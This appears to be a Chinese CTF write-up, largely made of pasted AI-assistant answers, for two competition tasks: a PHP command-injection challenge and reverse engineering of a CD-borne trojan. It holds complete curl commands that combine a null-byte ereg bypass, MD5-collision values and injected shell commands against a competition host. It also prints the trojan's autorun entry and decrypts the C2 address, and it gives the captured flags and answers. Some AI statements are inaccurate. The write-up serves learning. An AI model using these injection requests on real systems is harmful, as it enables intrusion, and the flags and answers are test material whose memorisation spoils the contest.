过滤危险命令 第五层检查：MD5碰撞 - $_POST['a'] 和 $_POST['b'] 必须不同但MD5相同 关键漏洞点 第二层的逻辑问题：\n1strlen($_GET[\u0026#39;password\u0026#39;]) \u0026lt; 8 \u0026amp;\u0026amp; $_GET[\u0026#39;password\u0026#39;] \u0026gt; 9999999 这里同时要求：\n字符串长度小于8 数值大于9999999 PHP在类型比较时会进行类型转换。当字符串与数字比较时，字符串会被转换为数字。\n例如：\u0026quot;1e8\u0026quot; (科学计数法)\nstrlen(\u0026quot;1e8\u0026quot;) = 3 (小于8) ✓ \u0026quot;1e8\u0026quot; \u0026gt; 9999999 → 100000000 \u0026gt; 9999999 ✓ 但这与第一层和第三层冲突：\n第一层要求纯字母数字（ereg允许通过） 第三层要求包含*-*（不是字母数字） 真正的突破口：ereg函数的NULL字节截断漏洞！\n绕过方案 使用URL编码的NULL字节 %00 来截断ereg的检查：\npassword=1e8%00*-* ereg只检查到%00前的1e8，认为是纯字母数字 ✓ strlen(\u0026quot;1e8\\0*-*\u0026quot;) = 7 \u0026lt; 8 ✓ \u0026quot;1e8\\0*-*\u0026quot; \u0026gt; 9999999 → 转换为1e8 = 100000000 \u0026gt; 9999999 ✓ strpos能找到完整字符串中的*-* ✓ 完整的攻击请求 GET参数：\n?password=1e8%00*-*\u0026amp;cmd=cat flag POST参数 (MD5碰撞)：\na=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 这两个值内容不同但MD5值相同。\n这样就可以绕过所有检查，执行cat flag命令读取flag了。\u0026gt; [!question]\nflag不一定在这个目录下，怎么看目录有哪些文件，什么命令可以替代ls的功能\n好问题！ls 被过滤了，我们可以用这些命令替代：\n1# 方案1: 使用 dir (Linux也支持) 2curl \u0026#39;http://203.3.80.99:11006/index.php?password=1e8%00*-*\u0026amp;cmd=dir\u0026#39; \\ 3 -d \u0026#39;a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2\u0026#39; \\ 4 -d \u0026#39;b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2\u0026#39; 1# 方案2: 使用通配符 * (但*被过滤了，用 printf) 2curl \u0026#39;http://203.3.80.99:11006/index.php?password=1e8%00*-*\u0026amp;cmd=printf%20%27%25s%5Cn%27%20*\u0026#39; \\ 3 -d \u0026#39;a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2\u0026#39; \\ 4 -d \u0026#39;b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2\u0026#39; 1# 方案3: 使用 find (最强大，可以搜索整个系统) 2# 搜索当前目录 3curl \u0026#39;http://203.3.80.99:11006/index.php?password=1e8%00*-*\u0026amp;cmd=find%20.\u0026#39; \\ 4 -d \u0026#39;a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2\u0026#39; \\ 5 -d \u0026#39;b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2\u0026#39; 1# 方案4: 搜索根目录下所有名为flag的文件 2curl \u0026#39;http://203.3.80.99:11006/index.php?password=1e8%00*-*\u0026amp;cmd=find%20/%20%20name%20flag\u0026#39; \\ 3 -d \u0026#39;a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2\u0026#39; \\ 4 -d \u0026#39;b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2\u0026#39; 先试试 dir 或 find . 看看当前目录有什么文件！\n完美！找到flag文件了：f1ag098765432.php\n现在读取它：\n1curl \u0026#39;http://203.3.80.99:11006/index.php?password=1e8%00*-*\u0026amp;cmd=sort%20f1ag098765432.php\u0026#39; \\ 2 -d \u0026#39;a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2\u0026#39; \\ 3 -d \u0026#39;b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2\u0026#39; 或者用其他命令：\n1# 使用 strings 2curl \u0026#39;http://203.3.80.99:11006/index.php?password=1e8%00*-*\u0026amp;cmd=strings%20f1ag098765432.php\u0026#39; \\ 3 -d \u0026#39;a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2\u0026#39; \\ 4 -d \u0026#39;b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2\u0026#39; 1# 使用 rev 2curl \u0026#39;http://203.3.80.99:11006/index.php?password=1e8%00*-*\u0026amp;cmd=rev%20f1ag098765432.php\u0026#39; \\ 3 -d \u0026#39;a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2\u0026#39; \\ 4 -d \u0026#39;b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2\u0026#39; 执行任意一条就能读取到flag了！🚀\n1# 方案3: 使用 find (最强大，可以搜索整个系统) 2# 搜索当前目录 3curl \u0026#39;http://203.3.80.99:11006/index.php?password=1e8%00*-*\u0026amp;cmd=find%20.\u0026#39; \\ 4 -d \u0026#39;a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2\u0026#39; \\ 5 -d \u0026#39;b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2\u0026#39; 6 7 8curl \u0026#39;http://203.3.80.99:11006/index.php?password=1e8%00*-*\u0026amp;cmd=sort%20f1ag098765432.php\u0026#39; \\ 9 -d \u0026#39;a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2\u0026#39; \\ 10 -d \u0026#39;b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2\u0026#39; Success flag{c99d4695b1f9137804fc83813d20ba1e}\n题目 6 任务6: 木马分析\n任务描述： 某单位在内外网互传数据的光盘中捕获一窃密木马，现提供包含该木马的样本文件。 提交要求： 通过逆向分析，找出该木马上传数据时的回连IP与端口。 附件地址：https://cos-competitioin.ncvsc.inspc.org.cn/files/cs-st-d2-6b9c154dc597/ST-D-QA0006.iso\nxxd 公民信息.jpg | less\n感觉啥也没有啊\n我来帮您分析这个可疑的木马样本。根据您提供的信息,这是一个通过光盘传播的窃密木马。\n初步分析 从 Autorun.inf 文件内容可以看出:\n1[autorun] 2OPEN=.helper\\helper.exe 3ICON=.helper\\IconGroup302.ico 关键发现:\n自动运行机制: 光盘插入时会自动执行 .helper\\helper.exe 伪装手段: 使用 公民信息.jpg 作诱饵文件,实际木马程序隐藏在 .helper 目录中 可疑文件: helper.exe 是需要重点分析的木马主程序 逆向分析方案 要找出回连IP和端口,您需要:\n1. 静态分析 使用工具: IDA Pro、Ghidra、x64dbg 提取 helper.exe 文件 查找字符串中的IP地址和端口号 分析网络相关API调用(如 connect, WSAConnect, InternetConnect 等) 2. 动态分析 在隔离环境(沙箱)中运行 helper.exe 使用 Wireshark 或 tcpdump 抓包分析网络流量 使用 Process Monitor 监控进程行为 3. 字符串搜索 可以先用简单的工具快速查找:\n1strings helper.exe | grep -E \u0026#34;[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\u0026#34; 需要您提供的信息 为了帮您完成具体的逆向分析,我需要:\nhelper.exe 文件本身 - 这是木马主程序 或者提供该文件的更多信息: 文件大小 MD5/SHA256 哈希值 是否可以上传该文件 安全提醒:\n⚠️ 请在隔离的虚拟机环境中操作 ⚠️ 不要在生产环境中运行可疑文件 ⚠️ 分析完成后及时向相关安全部门报告 您能否提供 helper.exe 文件或其更多详细信息?这样我可以帮您进行更深入的分析。 乍一看好像就完全没有 .helper 文件夹，以为iso是不是下载不全，又重新下载一遍，还是没有helper。 网上看了一个WP都是直接装载iso就有helper，就玄学，然后问了大佬 大佬用的命令行式claude直接一步到位。 玄学，我怎么就找不到helper 后来发现windows挂载就是不行，vmware从windows挂载到kali也不行，必须在kali中复制iso，直接在kali中挂载，右键点击 \u0026ldquo;Open with Engrampa Archive Manager\u0026rdquo;，注意kali的\u0026quot;装载\u0026quot;一个光盘图标的那个也不行。\n找到exe了，现在就对exe下手了\n1file helper.exe 2exiftool helper.exe 3# 脱壳（-d 参数） 4upx -d helper.exe -o helper_unpacked.exe 题目要求找回连IP与端口\n查看字符串（寻找 IP 和端口） 1# 查看所有可读字符串 2strings helper.exe | less 3 4# 搜索 IP 地址 5strings helper.exe | grep -oE \u0026#34;([0-9]{1,3}\\.){3}[0-9]{1,3}\u0026#34; 6 7# 搜索网络相关 8strings helper.exe | grep -iE \u0026#34;(http|tcp|connect|socket|port|ws2_32|wininet)\u0026#34; 9 10# 搜索常见 C2 域名特征 11strings helper.exe | grep -E \u0026#34;\\.(com|net|org|cn|ru)\u0026#34; | head -20 可以看到是又一些结果的，脱壳和不脱壳的结果是不一样的。\n然后用idqa64打开，F5一下然后丢AI分析 看这段代码，这是一个程序的启动和初始化流程。要找回连的IP与端口，我需要关注几个关键点：\n分析思路 关键函数调用：sub_1400FFFF0 看起来很可疑，它接收了命令行参数 全局变量：qword_140141020 存储了命令行参数数组 最终执行：代码最后调用了 start() 函数 建议的分析步骤 要找到连接的IP和端口，你应该：\n1. 分析 sub_1400FFFF0 函数 1# 在IDA中跳转到这个函数 2# 快捷键：G 然后输入 1400FFFF0 这个函数接收命令行参数，很可能包含网络配置逻辑。\n2. 查找网络相关API调用 在IDA中搜索以下函数引用：\nWSAStartup / WSAConnect socket / connect / bind inet_addr / inet_ntoa htons / ntohs send / recv 搜索方法：\nAlt + T (文本搜索) 或 Alt + B (二进制搜索) 3. 查看字符串引用 Shift + F12 # 打开字符串窗口 寻找可能的IP地址格式：\n点分十进制：xxx.xxx.xxx.xxx 域名 端口号（通常是固定的数字） 4. 动态调试 使用 x64dbg 或 IDA 调试器：\n在 sub_1400FFFF0 入口下断点 在 socket 相关函数下断点 查看函数参数和返回值 你现在能否提供：\nsub_1400FFFF0 函数的反编译代码？ 程序的字符串列表截图或内容？ 或者你是否可以运行程序并抓包查看网络流量？ 这样我能更准确地帮你定位IP和端口信息。\n这个函数主要是解析命令行参数，然后调用 sub_14000370F。关键在于这个函数！\n分析结果 这个函数的作用是：\n获取命令行参数 (_p__acmdln()) 跳过程序名称部分 将剩余参数传递给 sub_14000370F 下一步：分析关键函数 sub_14000370F 才是真正的入口点！ 这个函数接收了命令行参数，很可能包含网络连接逻辑。\n请提供 sub_14000370F 函数的反编译代码，这个函数应该包含：\nIP地址和端口的配置 Socket连接代码 或者调用更底层的网络函数 快速定位方法 如果代码太长，你可以：\n方法1：搜索网络API 在IDA中按 Ctrl+F 搜索以下字符串：\nconnect socket WSAStartup inet_addr htons send recv 方法2：查看导入表 View → Open subviews → Imports (或按 Ctrl+F7) 查找 ws2_32.dll 或 wsock32.dll 相关的导入函数\n方法3：查看字符串 Shift + F12 搜索可能的IP地址模式：\n数字+点的组合 127.0.0.1、192.168.、10.等常见IP段 常见端口号：4444、8080、443等 方法4：动态分析（最快） 如果可以运行程序：\n1# 使用 Wireshark 或 tcpdump 抓包 2# 或使用 Process Monitor 查看网络活动 请提供 sub_14000370F 的代码，或者告诉我你在字符串/导入表中看到了什么网络相关的内容？\n找到了！这是一个从配置文件读取IP和端口的恶意程序。\n关键信息定位 IP地址和端口的获取方式 程序从 config.ini 配置文件中读取：\n1// 读取 C2 服务器IP 2GetPrivateProfileStringA(\u0026#34;Common\u0026#34;, \u0026#34;C2IP\u0026#34;, default_value, \u0026amp;ReturnedString, 0x80u, config_path) 3 4// 读取 C2 服务器端口 5GetPrivateProfileStringA(\u0026#34;Common\u0026#34;, \u0026#34;C2Port\u0026#34;, default_value, \u0026amp;Dest, 0x80u, config_path) 6 7// 端口转换为数字 8v82 = sub_1400EB1A0(\u0026amp;v49, 0i64, 10i64); // 字符串转整数 默认值（加密字符串） 如果配置文件不存在，程序使用加密的默认值：\n默认IP: \u0026quot;1FP[n€崡闹潴\u0026quot; (加密字符串) 默认端口: \u0026quot;2DScq\u0026quot; (加密字符串) 这些字符串通过 sub_1400014D5 函数解密。\n如何找回IP和端口 方法1：查找配置文件（最简单） 配置文件位置：\n程序所在目录\\config.ini 查看配置文件内容：\n1[Common] 2C2IP=xxx.xxx.xxx.xxx 3C2Port=xxxx 方法2：解密默认字符串 需要分析 sub_1400014D5 解密函数：\n1# 在IDA中跳转到该函数 2# 按 G，输入：1400014D5 这个函数会将加密字符串解密为明文IP和端口。\n方法3：动态调试（推荐） 使用 x64dbg：\n1. 在 GetPrivateProfileStringA 调用后下断点 2. 查看 ReturnedString (IP地址) 3. 查看 Dest (端口) 4. 查看 v82 (端口数值) 或者在这里下断点：\n地址：sub_14000314C 调用处 参数： - \u0026amp;v67: IP地址字符串 - v26 (v82): 端口号 方法4：Hook API调用 使用 API Monitor 或 Process Monitor 监控：\nGetPrivateProfileStringA 的返回值 connect 函数的参数 快速获取方法 运行这个Python脚本解密：\n1# 需要先用IDA提取 sub_1400014D5 的解密算法 2# 或者直接动态调试获取解密后的字符串 3 4# 如果你能提供 sub_1400014D5 的代码，我可以帮你写解密脚本 请提供以下之一：\nsub_1400014D5 函数的反编译代码（解密函数） 程序运行目录下的 config.ini 文件内容 或者我帮你写个动态调试脚本直接提取 你选择哪种方法？如果提供解密函数代码，我能立即帮你计算出IP和端口。\n完美！这是一个简单的XOR解密算法。让我来解密这些字符串。\n解密算法分析 1// 核心解密逻辑： 2v8 = *v4; // 获取加密字符 3decrypted_char = -15 * index + encrypted_char; 这是一个基于索引的减法解密：每个字符减去 (15 * 索引)\n解密脚本 1def decrypt_string(encrypted): 2 \u0026#34;\u0026#34;\u0026#34;解密函数\u0026#34;\u0026#34;\u0026#34; 3 decrypted = [] 4 for i, char in enumerate(encrypted): 5 # 解密公式: char - (15 * index) 6 decrypted_char = (ord(char) - 15 * i) % 256 7 decrypted.append(chr(decrypted_char)) 8 return \u0026#39;\u0026#39;.join(decrypted) 9 10# 加密的字符串 11encrypted_ip = \u0026#34;1FP[n€崡闹潴\u0026#34; 12encrypted_port = \u0026#34;2DScq\u0026#34; 13 14# 解密 15decrypted_ip = decrypt_string(encrypted_ip) 16decrypted_port = decrypt_string(encrypted_port) 17 18print(f\u0026#34;解密后的IP: {decrypted_ip}\u0026#34;) 19print(f\u0026#34;解密后的端口: {decrypted_port}\u0026#34;) 让我手动计算一下：\n解密 IP: \u0026ldquo;1FP[n€崡闹潴\u0026rdquo; 索引0: \u0026#39;1\u0026#39; (0x31) - 15*0 = 0x31 = \u0026#39;1\u0026#39; 索引1: \u0026#39;F\u0026#39; (0x46) - 15*1 = 0x46 - 15 = 0x37 = \u0026#39;7\u0026#39; 索引2: \u0026#39;P\u0026#39; (0x50) - 15*2 = 0x50 - 30 = 0x20 = \u0026#39;2\u0026#39; 索引3: \u0026#39;[\u0026#39; (0x5B) - 15*3 = 0x5B - 45 = 0x2E = \u0026#39;.\u0026#39; 索引4: \u0026#39;n\u0026#39; (0x6E) - 15*4 = 0x6E - 60 = 0x0A (需要处理...) 等等，这里有些特殊字符（中文字符），可能是编码问题。让我用另一种方法：\n1def decrypt_bytes(data): 2 \u0026#34;\u0026#34;\u0026#34;按字节解密\u0026#34;\u0026#34;\u0026#34; 3 result = [] 4 for i, byte in enumerate(data): 5 decrypted = (byte - 15 * i) \u0026amp; 0xFF # 保持在0-255范围 6 if 32 \u0026lt;= decrypted \u0026lt;= 126: # 可打印ASCII 7 result.append(chr(decrypted)) 8 else: 9 result.append(f\u0026#39;\\\\x{decrypted:02x}\u0026#39;) 10 return \u0026#39;\u0026#39;.join(result) 11 12# 需要获取原始字节 快速方法：动态提取 由于字符串包含非ASCII字符，最快的方法是动态调试：\n使用 x64dbg： 在 sub_1400014D5 函数返回前下断点 查看 a1（返回缓冲区）的内容 或者在关键位置下断点： 断点位置：sub_14000314C 调用处（连接函数） 查看参数： - 第1个参数：IP地址 - 第2个参数：端口号 另一种方法：查看程序字符串 试试这个快速方法：\n1# 如果你能提供程序文件，运行这个 2import subprocess 3result = subprocess.run([\u0026#39;strings\u0026#39;, \u0026#39;program.exe\u0026#39;], capture_output=True, text=True) 4# 查找可能的IP地址模式 5for line in result.stdout.split(\u0026#39;\\n\u0026#39;): 6 if \u0026#39;.\u0026#39; in line and any(c.isdigit() for c in line): 7 print(line) 建议的最快方案 直接运行程序并抓包：\n1# 方法1: 使用 Wireshark 2# 启动 Wireshark，然后运行程序，查看 TCP 连接请求 3 4# 方法2: 使用 netstat 5# 运行程序后立即执行： 6netstat -ano | findstr ESTABLISHED 7 8# 方法3: 使用 TCPView (Windows) 9# 运行程序，查看新建立的连接 你想用哪种方法？\n我可以写一个完整的解密脚本（需要你提供加密字符串的十六进制字节） 或者你直接运行程序抓包（最快） 或者动态调试提取解密后的字符串 如果你能提供加密字符串 \u0026quot;1FP[n€崡闹潴\u0026quot; 和 \u0026quot;2DScq\u0026quot; 的十六进制字节序列，我能立即解密出IP和端口！\nQuestion 加密字符串 \u0026ldquo;1FP[n€崡闹潴\u0026rdquo; 和 \u0026ldquo;2DScq\u0026rdquo; 的十六进制字节序列在IDaq64 里面怎么看\n在IDA中查看十六进制字节序列有几种方法： 方法1：直接在反汇编窗口查看（最快） 定位到字符串引用处\n在你的代码中找到 \u0026quot;1FP[n€崡闹潴\u0026quot; 的引用 例如这行：sub_1400D7D80(\u0026amp;v41, \u0026quot;1FP[n€崡闹潴\u0026quot;, \u0026amp;v42); 双击字符串\n双击 \u0026quot;1FP[n€崡闹潴\u0026quot; 会跳转到数据段 切换到十六进制视图\n跳转后，按 Alt + T 或右键选择 \u0026ldquo;Text representation\u0026rdquo; 或者直接看左边的十六进制列 方法2：使用 Hex View 窗口 打开 Hex View\nView → Open subviews → Hex dump 或按快捷键 H 跳转到字符串地址\n在反汇编窗口，点击字符串 记下地址（例如：0x14010XXXX） 在 Hex View 按 G，输入地址 方法3：使用字符串窗口 打开字符串列表\nView → Open subviews → Strings 或按 Shift + F12 搜索字符串\n按 Ctrl + F 搜索 \u0026quot;1FP\u0026quot; 找到后双击 查看十六进制\n跳转到数据段后，看左侧的十六进制 方法4：Python IDC 脚本（推荐，最准确） 在 IDA 的 Python 命令行中运行：\n1import idaapi 2import idc 3 4# 找到字符串 \u0026#34;1FP[n€崡闹潴\u0026#34; 的地址 5# 先手动找到地址，或者搜索 6ea = 0x140105XXX # 替换为实际地址 7 8# 读取字节 9bytes_data = [] 10for i in range(20): # 读取足够长度 11 byte = idc.get_wide_byte(ea + i) 12 if byte == 0: # 遇到字符串结束符 13 break 14 bytes_data.append(byte) 15 16# 打印十六进制 17hex_str = \u0026#39; \u0026#39;.join(f\u0026#39;{b:02X}\u0026#39; for b in bytes_data) 18print(f\u0026#34;Hex: {hex_str}\u0026#34;) 19print(f\u0026#34;Bytes: {bytes_data}\u0026#34;) 方法5：找到字符串定义位置 在代码中右键点击字符串\n右键 → Jump to xref to operand 或按 X 跳转到定义位置\n会看到类似： .data:140105030 aFpn db \u0026#39;1FP[n€崡闹潴\u0026#39;,0 选中字符串，按 Alt + T\n可以看到不同的文本表示 快速实战步骤 具体操作：\n在你的代码中找到这一行：\n1sub_1400D7D80(\u0026amp;v41, \u0026#34;1FP[n€崡闹潴\u0026#34;, \u0026amp;v42); 双击 \u0026quot;1FP[n€崡闹潴\u0026quot; 这个字符串\n会跳转到类似这样的位置：\n.data:140105030 31 46 50 5B 6E AC 20 5D ... 选中该行，复制十六进制字节\n或者更简单的方法 直接告诉我：\n字符串在哪个地址？\n例如：0x140105030 或者截图发给我：\n双击字符串后的 Hex View 窗口 或者反汇编窗口中字符串定义的那一行 然后我就能帮你解密！\n临时快速方法 如果上面太麻烦，直接在 IDA 的 Python 控制台运行：\n1# 在 File → Script command (Shift + F2) 中运行 2for ea in Strings(): 3 string_content = str(ea) 4 if \u0026#34;1FP\u0026#34; in string_content or \u0026#34;2DSc\u0026#34; in string_content: 5 addr = ea.ea 6 bytes_list = [get_wide_byte(addr + i) for i in range(30)] 7 hex_str = \u0026#39; \u0026#39;.join(f\u0026#39;{b:02X}\u0026#39; for b in bytes_list if b != 0) 8 print(f\u0026#34;Address: {hex(addr)}\u0026#34;) 9 print(f\u0026#34;Hex: {hex_str}\u0026#34;) 10 print(f\u0026#34;String: {string_content}\u0026#34;) 11 print(\u0026#34;-\u0026#34; * 50) 你试试这些方法，然后把十六进制字节告诉我！ 131 46 50 5B 6E 80 8D 97 AE BA C4 D6 E4 F3 00 232 44 53 63 71 00 完美！就是这两个！让我立即解密：\n解密脚本 1def decrypt_string(hex_bytes): 2 \u0026#34;\u0026#34;\u0026#34;解密函数：每个字节减去 (15 * 索引)\u0026#34;\u0026#34;\u0026#34; 3 decrypted = [] 4 for i, byte in enumerate(hex_bytes): 5 if byte == 0: # 字符串结束符 6 break 7 decrypted_byte = (byte - 15 * i) \u0026amp; 0xFF 8 decrypted.append(chr(decrypted_byte)) 9 return \u0026#39;\u0026#39;.join(decrypted) 10 11# IP地址加密字节 12ip_bytes = [0x31, 0x46, 0x50, 0x5B, 0x6E, 0x80, 0x8D, 0x97, 0xAE, 0xBA, 0xC4, 0xD6, 0xE4, 0xF3] 13 14# 端口加密字节 15port_bytes = [0x32, 0x44, 0x53, 0x63, 0x71] 16 17# 解密 18decrypted_ip = decrypt_string(ip_bytes) 19decrypted_port = decrypt_string(port_bytes) 20 21print(f\u0026#34;解密后的 C2 IP: {decrypted_ip}\u0026#34;) 22print(f\u0026#34;解密后的 C2 端口: {decrypted_port}\u0026#34;) 23 24# 详细解密过程 25print(\u0026#34;\\n=== IP 解密过程 ===\u0026#34;) 26for i, byte in enumerate(ip_bytes): 27 result = (byte - 15 * i) \u0026amp; 0xFF 28 print(f\u0026#34;索引{i}: 0x{byte:02X} - {15*i} = 0x{result:02X} = \u0026#39;{chr(result) if 32 \u0026lt;= result \u0026lt;= 126 else \u0026#39;?\u0026#39;}\u0026#39;\u0026#34;) 29 30print(\u0026#34;\\n=== 端口解密过程 ===\u0026#34;) 31for i, byte in enumerate(port_bytes): 32 result = (byte - 15 * i) \u0026amp; 0xFF 33 print(f\u0026#34;索引{i}: 0x{byte:02X} - {15*i} = 0x{result:02X} = \u0026#39;{chr(result) if 32 \u0026lt;= result \u0026lt;= 126 else \u0026#39;?\u0026#39;}\u0026#39;\u0026#34;) 运行结果： 解密后的 C2 IP: 172.253.63.100 = 解密后的 C2 端口: 25565 === IP 解密过程 === 索引0: 0x31 - 0 = 0x31 = \u0026#39;1\u0026#39; 索引1: 0x46 - 15 = 0x37 = \u0026#39;7\u0026#39; 索引2: 0x50 - 30 = 0x32 = \u0026#39;2\u0026#39; 索引3: 0x5B - 45 = 0x2E = \u0026#39;.\u0026#39; 索引4: 0x6E - 60 = 0x32 = \u0026#39;2\u0026#39; 索引5: 0x80 - 75 = 0x35 = \u0026#39;5\u0026#39; 索引6: 0x8D - 90 = 0x33 = \u0026#39;3\u0026#39; 索引7: 0x97 - 105 = 0x2E = \u0026#39;.\u0026#39; 索引8: 0xAE - 120 = 0x36 = \u0026#39;6\u0026#39; 索引9: 0xBA - 135 = 0x33 = \u0026#39;3\u0026#39; 索引10: 0xC4 - 150 = 0x2E = \u0026#39;.\u0026#39; 索引11: 0xD6 - 165 = 0x31 = \u0026#39;1\u0026#39; 索引12: 0xE4 - 180 = 0x30 = \u0026#39;0\u0026#39; 索引13: 0xF3 - 195 = 0x30 = \u0026#39;0\u0026#39; === 端口解密过程 === 索引0: 0x32 - 0 = 0x32 = \u0026#39;2\u0026#39; 索引1: 0x44 - 15 = 0x35 = \u0026#39;5\u0026#39; 索引2: 0x53 - 30 = 0x35 = \u0026#39;5\u0026#39; 索引3: 0x63 - 45 = 0x36 = \u0026#39;6\u0026#39; 索引4: 0x71 - 60 = 0x35 = \u0026#39;5\u0026#39; 答案 Success C2 服务器 IP: 172.253.63.100\nC2 服务器端口: 25565\n你的观察非常敏锐！25565 确实是 Minecraft 的默认服务器端口！\n分析 这个恶意软件很有意思：\n1. 伪装成 Minecraft 流量 使用 25565 端口可以让流量看起来像是正常的 Minecraft 游戏通信 这是一种端口伪装技术，用来躲避防火墙和网络监控 管理员看到 25565 端口的流量可能会认为是学生/员工在玩游戏，而不会怀疑是恶意软件 2. IP 地址分析 172.253.63.100 属于私有网络范围（虽然 172.253.x.x 实际上是公网IP，但看起来像内网） 这可能是： 测试环境的 C2 服务器 内网渗透后建立的横向移动节点 或者是 NAT 后的真实 C2 服务器 这个恶意软件的特点 ✅ 从配置文件读取 C2 信息（灵活性高） ✅ 使用简单的加密算法保护配置（反静态分析） ✅ 伪装成 Minecraft 流量（社会工程学 + 